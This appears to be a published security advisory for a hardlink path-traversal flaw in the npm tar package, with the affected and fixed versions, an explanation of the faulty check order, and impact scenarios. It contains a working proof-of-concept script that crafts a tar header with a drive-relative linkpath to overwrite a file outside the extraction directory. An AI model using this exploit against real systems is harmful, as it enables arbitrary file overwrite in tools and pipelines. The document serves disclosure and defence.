CVE-2026-29786: tar has Hardlink Path Traversal via Drive-Relative Linkpath
Summary tar (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. Details The extraction logic in Unpack[STRIPABSOLUTEPATH] checks for .. segments before stripping absolute roots. What happens with linkpath: "C:../target.txt": 1.
Published Mar 5, 2026 · Updated Mar 9, 2026
Affected packages
tar
- Ecosystem
- npm
- Affected
- <= 7.5.9
- Fixed in
- 7.5.10
- Check
npm ls tar
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
tar (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.
Details
The extraction logic in Unpack[STRIPABSOLUTEPATH] checks for .. segments *before* stripping absolute roots.
What happens with linkpath: "C:../target.txt":
- Split on
/gives['C:..', 'target.txt'], soparts.includes('..')is false. stripAbsolutePath()removesC:and rewrites the value to../target.txt.- Hardlink creation resolves this against extraction
cwdand escapes one directory up. - Writing through the extracted hardlink overwrites the outside file.
This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.
PoC
Tested on Arch Linux with [email protected].
PoC script (poc.cjs):
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})Run:
cd test-workspace
node poc.cjs && ls -l ../target.txtObserved output:
PWNED
-rw-r--r-- 2 joshuavr joshuavr 6 Mar 4 19:25 ../target.txtPWNED confirms outside file content overwrite. Link count 2 confirms the extracted file and ../target.txt are hardlinked.
Impact
This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.
Realistic scenarios:
- CLI tools unpacking untrusted tarballs into a working directory
- build/update pipelines consuming third-party archives
- services that import user-supplied tar files
Credited to Jvr2022.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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